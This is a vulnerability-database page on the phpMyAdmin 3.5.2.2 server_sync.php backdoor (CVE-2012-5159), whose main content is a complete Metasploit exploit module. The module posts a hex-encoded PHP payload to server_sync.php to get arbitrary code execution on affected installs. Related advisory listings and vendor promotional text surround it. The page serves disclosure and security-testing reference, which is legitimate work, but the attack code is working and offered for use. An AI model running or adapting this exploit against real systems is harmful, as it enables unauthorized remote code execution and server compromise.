Lucene search
K

phpMyAdmin 3.5.2.2 server_sync.php Backdoor

🗓️ 25 Sep 2012 15:47:53Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 59 Views

phpMyAdmin 3.5.2.2 server_sync.php Backdoor allows arbitrary code execution through compromised SourceForge mirro

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-5159
10 Oct 201200:00
circl
CVE
CVE-2012-5159
25 Sep 201222:00
cve
Cvelist
CVE-2012-5159
25 Sep 201222:00
cvelist
d2
DSquare Exploit Pack: D2SEC_PMA_BACKDOOR
25 Sep 201222:55
d2
Debian CVE
CVE-2012-5159
25 Sep 201222:00
debiancve
NVD
CVE-2012-5159
25 Sep 201222:55
nvd
OpenVAS
phpMyAdmin 'server_sync.php' Backdoor Vulnerability
26 Sep 201200:00
openvas
phpMyAdmin
One server from the SourceForge.net mirror system was distributing a phpMyAdmin kit containing a backdoor.
25 Sep 201200:00
phpmyadmin
Tenable Nessus
phpMyAdmin server_sync.php Backdoor (PMASA-2012-5)
26 Sep 201200:00
nessus
Prion
Design/Logic Flaw
25 Sep 201222:55
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
      'Description'    => %q{
          This module exploits an arbitrary code execution backdoor
        placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge mirror.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-5159' ],
          [ 'OSVDB', '85739' ],
          [ 'EDB', '21834' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => '2012-09-25',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ])
  end

  def exploit

    uris = []

    tpath = datastore['PATH']
    if tpath[-1,1] == '/'
      tpath = tpath.chop
    end

    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

    res = send_request_raw( {
      'global'  => true,
      'uri'     => tpath + "/server_sync.php",
      'method'  => 'POST',
      'data'    => pdata,
      'headers' => {
        'Content-Type'   => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.7Low risk
Vulners AI Score0.7
CVSS 27.5
EPSS0.74515
59